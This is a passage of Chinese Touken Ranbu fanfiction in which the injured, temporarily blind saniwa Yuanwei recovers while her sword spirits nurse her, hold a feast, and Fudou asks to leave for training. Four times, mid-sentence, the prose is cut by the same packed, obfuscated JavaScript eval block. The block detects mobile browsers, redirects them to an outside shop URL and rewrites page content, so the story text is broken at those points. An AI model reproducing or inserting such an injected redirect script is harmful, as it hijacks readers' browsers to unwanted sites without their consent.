“诶,要我们去照顾主公吗?没问题没问题,就放心交给我和可靠丸吧。”一头金发的付丧神用软绵绵的声音应下。 “是膝丸啊,兄长!”下意识纠正完自家兄长给自己新取的名字,见大家都盯着他们,膝丸轻咳两声,正色说道,“放心交给我们吧。” 不,就是这样才不放心啊……看着这两兄弟,众人默默在心里叹了口气。 17.光与尘 “兄长和膝丸,我们进来了。”天守阁微微透光的拉门映出两个人影,又轻轻被拉开。 看着乱藤四郎正盯着他们,膝丸解释道,“狐之助说我们的靠近有助于主公身体的恢复,其他人今日都有工作,就拜托了我和兄长过来。” “是呢,”髭切好奇地向昏迷的鸢尾投去目光,“虽然我不会照顾人,但是……嗯,弟弟丸?总之,还是很可靠呢。” “兄长,我是膝丸……”虽然被夸了可靠很开心,但膝丸还是希望兄长能记住自己的名字。看着兄长一直盯着鸢尾,他也随着他的目光看去。 说实话,其实他对这个主公并不是很熟悉。从刀中显现时,迎接他们的并不是她,而是当日的近侍和泉守兼定。 “哦,你们来得也太巧了吧,刚好挑了一个主人不在的时候。”自称土方岁三的爱刀,面前的这把打刀向他们解释,顺便带着他们参观了一下本丸,“她跟着出阵去了,好像要两天才回来?” 不过膝丸并不是非常在意。作为源氏重宝,能和兄长再一次在同一个地方见面,他已经很开心了。他们见证过源氏漫长的历史,见到过各种各样的主公,对于新的主公到也没什么特别的期待。 不过……昨天晚上,倒确实把他吓了一跳。由于还没有那么熟悉本丸,所以他们并不知道发生了什么,只是看大家急匆匆地往同一个地方跑去,他和兄长也慢慢跟在后面。等他们到了的时候,庭院早已被围得水泄不通,而他也只是透过人群的缝隙看到了她苍白的、染血的侧脸。 就像一盏被打碎的玉瓷。 匆匆瞥过一眼,回想起她巴掌大的脸上蜿蜒着的血迹,这是他当时的印象,和他这几天在本丸了解到的不太一样。 温柔、强大、可靠……不知道她在本丸的时候是不是这样,反正她不在的这几天里,膝丸和髭切已经听到过好几遍付丧神们夸她的话了。但他发现他们并不是有意在兄长与自己的面前夸耀,而是忙着忙着,突然就由一件事、一个物件或一个动作联想到了与她在一起的故事。 一个人的影响有这么大吗,能在历经漫长时光的刀剑付丧神心中留下这么刻骨的痕迹?膝丸的心中对这个还未曾谋面的主公产生了一点好奇。 而现在,膝丸与自己的兄长跪坐在离她不远的地方,盯着她看了许久,好像也没看出有什么特别的地方。视线停留时间似乎有点久,注意到一旁的乱藤四郎谨慎地看过来的眼神,膝丸收回自己的视线,注视着前面地板的花纹。 “咳咳咳……”意识还昏迷不醒,但鸢尾又开始咳嗽,殷红的血从她淡色唇中流出,就像涂了一层艳色的口脂。 乱藤四郎急忙拿手帕给她擦着,膝丸看了一眼自己稳坐如山的兄长,在一旁试图帮忙,但又无从该下手。 “你帮我去换盆水吧。”乱把被血浸湿的手帕放回盆中,血色在清水里氤氲蔓延。 “好。”膝丸点点头,不放心地看了一眼髭切,在得到他的眼神后端着盆子离开。 髭切:“虽然狐之助说没什么大碍,但主公看上去确实很虚弱呢。” 不过乱藤四郎并没有搭他的话,只是握着鸢尾的指尖,长久地注视着她。 髭切见状,若有所思。他走到鸢尾旁边,把她的另一只手拿起来,学着乱藤四郎的样子轻轻握住。 髭切的目光落在这只手上。他拉住的手是鸢尾的右手,所以很轻易地就看到了她右手食指和中指上覆盖的一层薄薄的茧子。看这个茧子的位置……这位主公好像不是练刀的呢。 真有意思啊,他想。一位不用刀的主公,却能让自己的刀剑付丧神对她如此忠心耿耿? “髭切殿。”乱藤四郎打断了他的思绪,“主人还在休息,请不要打扰到她。”他盯着把鸢尾的手翻来覆去观察的髭切,不高兴地提醒道。 髭切:“哈哈,好的好的。” 他刚准备把鸢尾的手放回被子里,却感觉她的手指似乎轻轻动了一下。 “唔。” 好累、好痛……这是鸢尾的第一感觉。费力地睁开眼帘,明明之前一直闭着眼睛,却还是感受到了前所未有的干涩。好黑啊……她眨了眨眼,试图看清眼前的场景,却突然被一阵温暖包围。 嗅着鼻尖熟悉的馨香,她用微弱的嗓音叫出了他的名字,但在下一秒又微微皱眉。“乱……”,她感受到有水珠顺着她的脖颈划过,带来一阵湿意。 怎么了,不要哭呀……鸢尾试图说话安慰他,却因为实在干哑的喉咙而放弃。她用了抬起手,在他顺滑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715335|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的长发上捋了捋。“不怕了,不哭啦……”忍着喉咙干哑的疼痛,鸢尾用自己都几乎听不清的声音喃喃。 可是趴在她耳边的乱藤四郎听见了。“主人……呜,我好怕……”他没说怕什么,但鸢尾却懂得他的未尽之意。拍拍他的背,还不待鸢尾开口说些什么,乱藤四郎已经自觉从她身上起身,“我,我去给主人倒点水。” 听着他远去的脚步声,鸢尾微微叹了口气。察觉到房间里另一个陌生的气息,她转头向另一边望去,“那么,这位是?” “源氏的重宝,髭切。初次见面,请主公多多关照我和……嗯,弟弟丸了。” 虽然看不清面容,但鸢尾还是认真地打招呼,“嗯,欢迎来到本丸。” 唰拉——木质的拉门被轻轻推开,外界的阳光从缝中洒落,空气中的轻尘在这一丝阳光中轻快地飞舞。乱藤四郎跑进来,身后还跟着一串陌生的脚步声。他端着温水放到鸢尾身边,坐在鸢尾旁边,小心翼翼地将她扶起来,让她靠在自己身上,完成了这一系列动作之后再拿起水喂她。 虽然想说自己还没有那么虚弱,但鸢尾还是接受了乱藤四郎的细心照料。她就着他的手,小口啜饮着,低垂着眸子的样子让人很容易联想到天山上神圣而脆弱的白鹭。 喝完水,总算缓解了一点喉咙的干涩,鸢尾依然靠在乱身上,向刚刚那串陌生的脚步声停下的方向问道,“这是……弟弟丸?” “是膝丸!”,“哈哈,是呢是呢……”膝丸辩解的声音和髭切回复的声音重叠在一起。 “兄长……”膝丸无助地看了自家的兄长一眼,转过头正色对鸢尾介绍,“我是源氏的重宝,膝丸。” “啊……抱歉抱歉。”通过几句话就摸清了这两兄弟的相处模式,鸢尾也不禁有些失笑,“昏迷了这么久,想必大家应该也很担心吧,麻烦你们去和大家说一声我醒了。” “是。”听到鸢尾的吩咐,膝丸应了下来。一旁的髭切倒是笑眯眯地,不知道在想些什么,看了鸢尾和乱一眼,才和自己的弟弟慢慢走出去。 “主人……是不是还有事情瞒着我们……”等他们离开,许久未出声的乱将下巴搭在鸢尾肩上,突然开口。带着香味的橙色长发像一张柔软的网,将鸢尾笼罩住。 18.后遗症与谈谈心 还是瞒不过啊。 早在昏迷之时就已经预料到醒来之后自家的付丧神会有什么样的反应,鸢尾理了理思绪,刚启唇。 “算了。”乱的手轻轻搭在她唇上,撒娇地开口,“如果主人不想说的话,我就不听了……” 鸢尾却笑起来,温热的气息撒在乱藤四郎的手心。 “乱,我之前不告诉你们并不是不信任你们,也不是不想说,只是怕你们担心。不过现在看来,好像让你们更担心了呢。” 她拉住乱的手,与他十指相扣,没有注意到乱藤四郎悄悄变红的脸颊。 “灵力,是神赐,也是惩罚吧……” 在昏暗的和室内,她靠在乱的身上,回忆起了自己的过往。潮湿的前半生是一阵雨,淋在她身上,但和乱暖烘烘地依偎在一起,再次回忆时似乎也并没有想象中的那么难受了。 听完鸢尾的讲述,乱藤四郎皱紧了眉,把鸢尾抱得更紧了一些。和室中再次安静下来,鸢尾耳边只有他不稳的呼吸声。 乱藤四郎有些不知所措。他想安慰主人,但任何言语在他看来都是无力的。身为维护历史的刀剑付丧神,他第一次那么想改变历史,想回到主人最无助的时候,带她逃离那个地方……可他现在能做的,只有把她抱得更紧一点。 鸢尾轻轻捏了一下他的指尖,“不过那都已经过去了,现在的我在这里,而且会一直和大家在一起,这样不是很好吗?” “嗯……”乱藤四郎闷闷地开口。 在之后的日子里,他一定要保护好主人! 注意到鸢尾还有点疲惫的神情,乱藤四郎主动开口,“主人要好好休息,我晚点再过来找你。”说着,看鸢尾点了点头,就帮她盖好被子,整理好头发,还摸了摸她的头,简直把她当小孩子来照顾。 鸢尾哭笑不得,刚才的回忆带来的一丝烦闷也一扫而空。 “主人,梦里也要梦到我哦~” 等鸢尾的呼吸平稳下来,好像陷入了深睡,乱藤四郎在她的额头留下轻轻一吻,离开了和室。 在他离开后,鸢尾睁开眼睛,长久地盯着黑暗的天花板。 后遗症……吗。 —— 在乱离开之后,本丸里的大家都知道鸢尾已经醒过来了这件事。 “我要去看一眼主人!”刚买药回来的长谷部顾不上自己的风尘仆仆,抱着一堆药材就要冲上天守阁。 “不——行,主人已经很累了,现在需要休息!”刚下来的乱藤四郎拦在他前面。 “是啊,长谷部君,还是先让主人好好休息一下吧。”烛台切光忠也能理解长谷部的忧心,“要是实在担心的话,不如就和我一起来厨房吧,准备一些适合主人吃的东西。” “……好。”明白自己这时候不适合上去,长谷部按捺下自己焦躁的心,被烛台切推着进了厨房,乱藤四郎接过他手上的药材。 看众人散开了一些,乱走到药研身边,“药研哥,还有一件事……主人的眼睛,好像暂时看不见了……” 边和药研一起向他的研究室走去,乱藤四郎边解释了他的话,“主人醒来之后,我拉开门进去,明明透进来的阳光那么刺眼,但主人还是一点反应都没有……明明已经把过去都告诉了我,为什么还是要隐瞒呢……” 看了自己低落的弟弟一眼,药研推了推眼镜,沉稳地开口,“大将就是这样的性子啊,总是下意识隐瞒最坏的结果。不过,之后还是要再和她好好谈谈。” 听了药研的话,乱也叹了口气。是啊,如果不这样做,就不像主人了。报喜不报忧,总是这样的……可靠又让人忍不住心疼。 …… “药研藤四郎,我进来了。” 等在门口的药研藤四郎听见一声模糊的应答声,端着一碗黑漆漆的药进了天守阁。 屋内,鸢尾已经坐起来了。黑色的头发并未束起,像黑色的河渠在被褥上蜿蜒。一双蜜色的眼睛“看”向药研进来的方向。 不过药研藤四郎拉上门,毫不留情地戳穿了她,“眼睛不舒服的话还是不要直直盯着阳光了,大将。” 鸢尾完美的微笑一僵,苦笑着叹了口气,“还是什么都瞒不过药研呢。” 药研藤四郎却不应,只是沉默着扶起她的手,将温热却不烫的药碗放入她手中。 “嗯?好像还有点烫呢,待会再喝吧。”鸢尾自言自语地点点头,准备将药碗放在一旁。 药研搭住她的手,若无其事地开口,“我已经试过了,温度刚刚好。大将不会是因为不想喝药而找的借口吧?” 是啊。 虽然看不见,但闻着碗里飘至鼻尖的又苦又咸的气味,鸢尾就觉得不妙。闻起来都这么恐怖了,喝起来那还了得? 不过感受到药研手上的力度传达过来的坚决,鸢尾还是深吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721333|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口气,默默喝完了这碗透着诡异气息的药。 “咳咳咳,唔。”嘴里又苦又咸又辛的味道直击灵魂,鸢尾扭头咳嗽,嘴里却被塞了一颗蜜枣。药研戴着黑手套的手接过药碗,放在一旁。 看着鸢尾舒展开来的眉头,药研冷不丁开口,“那么,现在可以聊聊你的眼睛了么,大将。” “虽然能理解大将的心情,但如果总是被瞒着的话,我们也会沮丧啊。既然是大将的刀刃,就更应该承担起保护你的责任,不是吗?有时候也试着依靠我们一下吧。” 鸢尾敛眸沉思,良久,轻叹一声。 “我明白了,抱歉啊,还是让你们担心了。” 她总以为他们需要的主公应该是无所不能的,是不需要任何人担心的,所以一次又一次地选择隐瞒。但今天药研的话才让她明白,她并不需要一直无坚不摧,他们的臂膀也是她可以偶尔休憩的港湾。 “那么,就要麻烦药研了,我的眼睛。”心结顿解,鸢尾对药研莞尔一笑。她微微倾身,笑意从她凑近药研的眼里流出,蜜色的眼睛里仿佛真的酝酿着蜂蜜。 “是,大将。”药研藤四郎一愣,然后也随之勾起了嘴角。 他的手抚上鸢尾的脸,帮她固定住。黑色的手套与鸢尾瓷白的皮肤形成强烈反差,可惜在场的人一个看不见,一个关注点不在这里。 药研藤四郎靠近,仔细地观察了鸢尾的眼睛。 “眼睛没有收到损伤,应该还是灵力紊乱导致的后遗症。”药研藤四郎下结论。鸢尾点头,一缕头发轻轻从他的手心里擦过。 好像……凑得有点太近了。他后知后觉地想到。这个位置,鸢尾比他矮一点,他能感受到鸢尾轻柔的呼吸洒落在自己的脖颈处。而鸢尾无知无觉的眼神还在望着自己,见自己许久不说话,还疑惑地歪了歪头。 “咳,这几天大将如果要出和室的话还是把眼睛蒙起来吧,遮一下光。” 药研藤四郎移开目光,放下手,顺便帮鸢尾把散落在眼前的头发往后挽。他拉开与她的距离,呼吸紊乱了一瞬。 “好。”鸢尾乖乖地听从本丸唯一医生的话。 药研:“大将暂时先好好休息,我去帮你准备能遮光的布料。” 说完,迈着稳健的步伐离开了和室。 怎么突然这么着急?鸢尾摸索着把旁边遗留下来还散发着苦味的药碗推远,奇怪地想着。 19.美食与美事 “大将,小心哦。” 信浓藤四郎拉着鸢尾的手,牵引着她走下楼梯。 在和室内修养多日,鸢尾觉得自己再不出来透口气就要发霉了。和药研、狐之助软磨硬泡许久,被裹上了厚厚的一层衣服,眼睛蒙上一层遮光的白绫,最后才终于踏出和室。 作为本丸的主人,鸢尾拥有随意改变本丸气候的能力,不过她没有特别偏爱的季节,因此本丸内还是按照正常的四季流转。 而现在,本丸已经入秋了。天气开始变得微凉起来,偶有一两阵调皮的风喜欢迎面扑到人的脸上,带来一丝快意。深吸一口气的时候,还能闻到清新的风中夹杂着淡淡的落叶芳香。 信浓兴致勃勃地拉着鸢尾来到粟田口的部屋。 “我把大将带过来啦!”他一把拉开拉门,冲屋里面蔫蔫的兄弟们大喊。 “真的是主人!”“主、主公大人……”“好诶!”五颜六色的小蘑菇们向鸢尾涌来,把她拉进屋内。 因为鸢尾需要静养,所以除了负责照顾她的那几人外,大家都不敢到天守阁打扰她,连几个平时最爱黏着她的小短刀也都只是在她睡着之后偷偷趴在门外看几眼。从上次鸢尾跟随作战到现在,大家已经有一个多星期没有好好和鸢尾说过话了。 好多双小手拉着鸢尾,牵着她坐到屋内的懒人沙发上。 在鸢尾成为审神者后,时之政府不仅每月有发给她的工资,还有一部分维持本丸运转的补贴,数目相当可观。因为吃住都在本丸,所以鸢尾留下必要的开支后,剩下的部分就被按照出阵远征的次数、功绩分给了刀男们,所以大家的零花钱都十分充足,也给自己的部屋和本丸添置了许多新奇的东西。这个懒人沙发就是上次鲶尾和骨嗗在万屋买的,深受粟田口一家的喜爱。 对了,这里还得提一句,现在本丸的财政大权掌握在博多藤四郎的手上。自从发现了这个可爱的小短刀还有这样的技能,鸢尾就放心地把这一部分内容交给他,还补贴了额外的小判。总之,是一场双方都很满意的双向奔赴(?)呢。 而现在,鸢尾陷进软乎乎的沙发里,被一群暖烘烘的小孩子们包围,挨个摸头顺毛,忙得不亦乐乎。 “主公大人,可、可以也摸一摸小老虎们吗?”得到了一个摸头和一个亲吻,五虎退开心得脸颊通红。看到小老虎们“嗷呜嗷呜”地咬着他的裤脚,在地上急得转圈,也想和鸢尾亲近,他犹豫了一下,还是鼓起勇气问了鸢尾。 “当然可以,怎么会把可爱的小老虎们忘了呢。”鸢尾伸出手想要从地上捞起一只小老虎,还不等她有所动作,小老虎们已经抓住机会,钻过人群缝隙,自觉地跳进她的怀里,占据沙发上剩余的位置。 作为伴生兽,小老虎们很通人性,在察觉到鸢尾的手有点冷的时候,怀里的大虎在她摸完之后将她的手压到自己的肚皮下取暖。 “诶——小老虎好狡猾啊,我也想给主人暖手!”挽着鸢尾手臂的乱藤四郎开玩笑般地说。 而五虎退只是小脸红彤彤地揪住自己的衣角。 患有“鸢尾不足症”的大家挤挤挨挨地靠成一团,围着鸢尾。 平野和前田端来温度适宜的茶和可口的茶点,包丁贡献出了自己珍藏许久的零食,乱把玩着鸢尾披散的长发,信浓抓住时机,把自己偷偷藏进鸢尾怀里。还有几个更成熟一点的短刀,比如药研、厚和后藤,也被自家的兄弟们拉到鸢尾身边,加入他们的游戏。 开了一丝缝隙透风的窗子传出大家的说笑声,传进路过之人的耳中。 真好啊,这样的生活。不动行光拎着空空的酒瓶,靠在粟田口部屋外面的廊柱上。 被人珍爱着、包容着,仿佛那场血与火都已经远去了。 但……不是这样的。 透过窗子的缝隙,不动行光刚好可以看到鸢尾依靠在沙发上的一点侧脸。他看见帮鸢尾编头发的乱不小心扯到了她覆眼的白绫,又兴致勃勃地帮她重新在脑后打了一个漂亮的蝴蝶结。 这条白绫,是他在万屋买来的。 在买下它的时候,不动行光在想,她这个样子是不是和自己有关系呢?如果不是因为自己的犹豫和软弱,她是不是就不会被逼得摘下项链,使用超过身体负荷的灵力? 好想变强。 不动行光第一次生出这么强烈的渴望。想要保护本丸,保护这样的生活,保护……她。 —— 在粟田口的部屋里待了一下午,鸢尾和小孩子们在玩闹的时候睡着了。 再一觉醒来,就已经到了晚饭的时间了。被来叫他们吃饭的大厨烛台切光忠叫醒,鸢尾迷迷糊糊地被牵到了大广间。 好香…… 一踏进大广间,鸢尾就被浓烈的香味袭击了。 米饭淳朴甜糯的香味夹杂着黄瓜的清新,牛肉的肉香和卤料浓烈的味道混合在一起,挑动着人的食欲。不知道是什么蔬菜正水灵灵地散发着解腻的气息,好像还有油炸天妇罗的油香味和混合着柠檬味的海鲜…… 对于连续喝了好几天怪味药汤,以及吃了很久清粥小菜的鸢尾来说,这绝对是一场味觉盛宴和灵魂救赎。 一落座,她迫不及待地倾身,凑近自己的桌案偷偷嗅闻。咦,好像不太一样……? 把她带到这里的烛台切光忠看着她难得露出的可爱表情忍俊不禁,“为了庆祝主人的身体有所好转,我们特意做了这顿料理。不过,由于主人还没完全恢复,所以像海鲜和油炸天妇罗这样的食物您还暂时不能吃呢。” 什么! 鸢尾心如死灰,鸢尾打算据理力争。 “我的身体已经好得差不多了,也不缺这一口吧?”她拉住烛台切光忠的袖口小心晃了晃,“如果大家都能吃,只有我一个人不能的话……我也会很难过呀。”说着,她慢慢松开拉着烛台切衣服的手,低落地低下了头。 糟了,这可抵挡不住啊。 血条已被清空的烛台切察觉到自己正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725614|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疯狂动摇,立马拉住了路过的压切长谷部。 “呃,长谷部君,你觉得呢?”烛台切光忠给他使了个眼色,示意他赶紧拯救一下自己所剩无几的决心。 “主、主人,这确实……”压切长谷部艰难开口。 “长谷部,连你也这样觉得吗?”鸢尾及时打断,“你也觉得我一点都不能吃吗?我还以为你会更了解我一点……” “当然不是!”听到鸢尾的话,长谷部立刻改口,“如果是主人的话,吃一点也没关系吧?” 烛台切光忠扶额,他就不应该叫他过来。可是这座本丸……他环视了一圈,绝望地发现几乎没有人可以抵挡得住鸢尾的攻略。最终,他也只能无奈地妥协,“好吧,我去给您夹,但是只能吃一点哦。” “嗯嗯,我只需要吃一点解解馋就够了!”鸢尾开心地点头。看到鸢尾开心起来,压切长谷部也跟着点头。 烛台切的心口又中了一箭。只是想解馋……主人最近受了这么多苦,还瘦了不少,现在只能吃这么点,实在是太可怜了。要不他还是多…… 不对!烛台切停下筷子,猛然清醒过来。他本来……是打算一口都不让她吃的?可现在——烛台切看着手里都快堆满海鲜和天妇罗的碟子,心累地叹了口气。看来自己面对主人的定力还是需要再磨练磨练啊,他一边把食物往回夹,一边想道。 等他再把碟子放回鸢尾桌上的时候,大广间的人已经来得差不多了。 看到鸢尾的状态比前几天好得多,大家也都放下心来。这几天,大家感觉自己的心仿佛缺了一块似的,总是忍不住挂念,担心鸢尾的身体什么时候能恢复,担心她的眼睛会不会不适应,担心她在养病的时候会不会孤单…… 明明已经见识过她在战场上的英姿,可回到本丸,他们还是会把鸢尾当成心中最柔软的那一块存在。 在这几天里,他们不敢去打扰她,就自己给自己找事情做。 他们把本丸所有容易磕碰到的地方都包裹上柔软的海绵;把每天远征看到的有趣的事记录下来,好让近侍能在鸢尾无聊的时候能讲给她听;买了很多新奇有趣的东西,希望能在她身体好转之后分享给她……桩桩件件,在他们回神之后才意识到,原来生活已经发生了这么大的变化。 可是很幸福。向她走去的过程很幸福,看到她向他们奔赴而来也很幸福。 明明没有人主动说出自己做了些什么,可是鸢尾就是察觉到了,而且她也在用自己的方式回应着他们的关心。本丸里的每个人,甚至包括狐之助,都在两天前收到了来自鸢尾的礼物——一个封存着他们的刀纹的灵力球(狐之助的灵力球里是一个小狐之助)。 “反正身体能利用的灵力就那么多嘛,剩下的灵力刚好可以用来做这个。”她对担心着她身体的近侍这样解释。 所以说,这样的人……怎么可能会抵挡得住嘛。烛台切坐在鸢尾旁边,没有被眼罩遮住的金色眼眸里是化不开的笑意与温柔。 20.酒鬼与请求 “来!主公大人也和我们一起喝一杯吧!”次郎太刀端着他的酒坛子突然出现。 “等等,主人这个时候可还不能喝酒啊……呃!怎么浑身酒味,你快离主人远一点!”在下面时刻关注鸢尾情况的压切长谷部赶紧上来阻止他,被他满身的酒味熏得一窒,捏着鼻子打算把他拉开。 “什么嘛,长谷部君一点都不识货,这可是我特意去万屋买的好酒哦,平时可是都舍不得给别人喝的,”次郎太刀挣开他的手,继续向鸢尾推销,“来吧,我们一起庆祝主公大人身体好转!” 长谷部头痛地看着醉醺醺的他,生怕他一言不合就趁着酒劲向鸢尾灌酒。 “没关系的,长谷部。”鸢尾安抚地看向他,接着又举起装了汤的小碗循着声音向次郎太刀的方向送了送,“嗯……虽然我现在还不能喝酒,不过要庆祝的话还是可以的哦。干杯?” 没有想到鸢尾是这样的反应,次郎太刀愣了一下,又笑得更高兴了,“哈哈哈,主公大人实在是太有趣了!干杯干杯!” 他举起自己的酒坛子轻轻地碰了一下鸢尾的小碗,然后豪迈地将坛子里的美酒一饮而尽。 “啊~果然啊,美酒就是我的血液……”鸢尾以汤代酒喝尽后,刚把碗放下来,就听见次郎太刀捧着自己的坛子,难舍难分地诉说着自己对它的情谊。她哭笑不得地摇摇头,刚打算叫长谷部和烛台切帮忙把他送回去,就察觉到另一个不是很熟悉的气息。 “主人,我是太郎太刀。”来者自我介绍,“抱歉,次郎喝得有点太醉了。” 鸢尾:“没关系,今天是宴会,大家尽兴就好了。不过待会宴会结束就要麻烦你带他回去了。” “是。”太郎太刀沉声应下,犹豫了一下,又接着说道,“主人也要注意身体。”说完这一句,就把还赖着不走的次郎太刀领了回去。 “不要嘛大哥,我还想和主公大人喝酒……”鸢尾还听见次郎太刀带着酒意的囔囔。 “真是太失礼了……”压切长谷部看着他们的背影,眉头皱的死紧。还待继续说些什么,感觉到鸢尾轻轻在他的指尖拍了一下,立马把他们抛之脑后,专注地盯着鸢尾“是,主人有什么需要吗?” 鸢尾把自己喝完的汤碗递给他,“要麻烦长谷部帮我再乘一碗汤了。” “主,请不用在意,能为您服务是长谷部的荣幸,无论您需要什么,我长谷部都会为您带来!”留下铿锵有力的誓言,长谷部端着汤碗气势雄雄地出发了。 “长谷部……是不是也喝了酒?”鸢尾委婉地向旁边的烛台切光忠发问。 “哈哈,刚刚确实有不少同伴都去找他喝酒了呢,在您面前这样真是不帅气呢……”看着他们的表现,烛台切光忠感到了一阵心累,并在鸢尾笑着摇头表示不会之后决定接下来减少本丸对万屋酒类的采购。 还好接下来没有人再借着酒意闹出什么幺蛾子,不过大家还是没有安安分分地坐在自己的位置上,总是时不时带着自己的碟子和碗想要找鸢尾分享自己搭配的新吃法,或是找她撒娇想试试看她碗里的菜有没有更好吃。 同样的菜放在不同碗里还能有不同的味道,我这个厨师都不知道有这回事啊·……借口越来越离谱,在一旁看完全程的烛台切光忠感觉自己的嘴角在隐隐抽动。 总之……这么一通下来,鸢尾实实在在地吃撑了。婉拒想要跟出来的长谷部,让今天一直陪在她旁边、没怎么享受自己美味料理的烛台切好好吃饭,鸢尾独自一人到外面的长廊上透气。 来到外面,便能感受到与屋内不同的秋意。蟋蟀在无人的角落自在地发出“瞿瞿”的叫声,与风拂过落叶发出的“簌簌”声相和,自顾自地弹奏着秋天的乐章。微风带来的凉意与夜晚凝结的水露附上微凉的皮肤,让人通过触觉和秋夜相逢。 不知道秋天还会不会有萤火虫?鸢尾想起之前萤丸告诉自己的故事。渺小脆弱的生物,来到黑夜时,却像一颗颗小小的太阳,那该是什么样子的呢…… 抬头看向夜空,虽然眼前还是一片漆黑,鸢尾却把今夜浩瀚的星河和温暖的人间烟火藏在心中。随意地任思绪漂流、漂流,直到有人坐在她的身旁。 “不动。”她准确地叫出来者的名字。 “……嗯。”不动行光坐下来,又不经意地往她身边挪了挪,“有件事……想跟你说一下。” 见她虽覆着白绫,但还是认真地看向自己的方向,不动行光紧张的心情不由放松了些。反正不管怎么样,她都会这样一直注视着自己,对吧?那就没什么好犹豫的了。 “我想要出去修行。”他顿了顿,见她只是若有所思地点头,不由发问,“……你就不想知道我为什么突然要去修行吗?” 鸢尾却笑了。她凭感觉伸出手,准确地掐住不动行光糯米丸子一样软的脸颊,在上面轻轻捏了捏,“我也想知道呀,不过不动肯定也有自己的理由,不管想不想说,只要做你想做的就可以了。毕竟——不动也已经成长为一个很可靠的人了。” “突、突然说什么啊!”不动行光拉下她的手攥在手心,下意识地侧过脸掩盖自己爆红的耳朵。“总是说这种话,你还真不怕……” “什么?”他的声音越说越小,鸢尾没有听清他后面说了什么,想要再追问,却被他生硬地转移了话题。 “总之,我也有自己想要保护的东西。就像森兰丸说的使命一样,我也不能再逃避了。只有踏上修行之路,我才能变强吧……” 其实能不能变强,不动行光自己也不确定。不过……总要亲自尝试才能知道,而在那之前,就不要让她增添不必要的担心了。 “那就去吧。”鸢尾把另一只手也搭在他手上,“在修行期间,我也会每天都想你的。” “……” 不动行光好不容易平息下来的耳垂又被她一句话弄红了,偏偏她还无知无觉。 “主人,怎么还不进来呀?”乱藤四郎从门后探出头,“啊,还有不动… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729401|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “我过来了。”鸢尾对乱应道,转过身最后再摸了一把不动行光的头发,“今天晚上就先好好休息吧,修行需要用到的东西再让明天的近侍准备给你。我们都等着你,不动。” “诶——主人也摸摸我的头嘛……”趁着不动行光还在发呆,乱藤四郎跑过来牵过鸢尾的手放到自己头上,“怎么样,好摸吗好摸吗?” “嗯嗯,都很好摸……” 声音慢慢远去,不动行光看着鸢尾被乱拉回大广间,又被一群平时就爱缠着她的小孩包围。他后知后觉地把自己的手放在刚刚鸢尾摸过的地方,头发上好像还残留着她手上的香味。 什么嘛,老是自顾自的说这样的话…… —— 压抑了许久的气氛因为鸢尾的好转一扫而空,大家一直玩到晚上八九点钟才各自回去。 几个酒量比较好的和没喝酒的帮忙把那几个醉醺醺的酒鬼送回部屋,还留下一些人帮忙打扫着宴会的残局。 “我送您回去吧,主人?”见鸢尾起身打算回去,烛台切光忠找来一盏灯笼跟在她身后。 “好,那就麻烦你了。”鸢尾搭住他的手,被他稳稳地牵住。 两人一前一后地漫步在石板路上。这几天的石板路被每天负责打扫的付丧神整理得很干净,所有可能会影响到走路的东西,包括小石子、落叶等等,都被扔得远远的,只留下一些防滑的小沙子,踩上去的时候会发出咯吱咯吱的声音。 “不动向您请求出去修行了吧。”烛台切光忠突然开口。 见鸢尾点头,他了然地笑道,“他啊……从本能寺回来之后就一直在想着些什么,连酒都没有之前喝得那么多了,现在也终于算是想通了吧。” 鸢尾:“是啊,一直在成长着呢。” “您是这么跟他说的吗?那他应该害羞了吧。” “哈哈哈,听声音的话好像是有点不好意思呢,明明确实是这样子的。” 哎……烛台切光忠回头看了鸢尾一眼。 被她这样关爱着,又一本正经地用最温柔的话夸赞自己,就算是平时最爱找她撒娇的短刀也会害羞吧,更别说是那个小酒鬼了。不过她到也真的是一点都不开窍,明明在别的事情上这么敏锐…… “嗯?我没听太清……” 听到鸢尾的声音,烛台切光忠才反应过来刚刚自己把在心里想的话讲出来了。还好没听清……他莫明松了口气,但又不知道为什么。 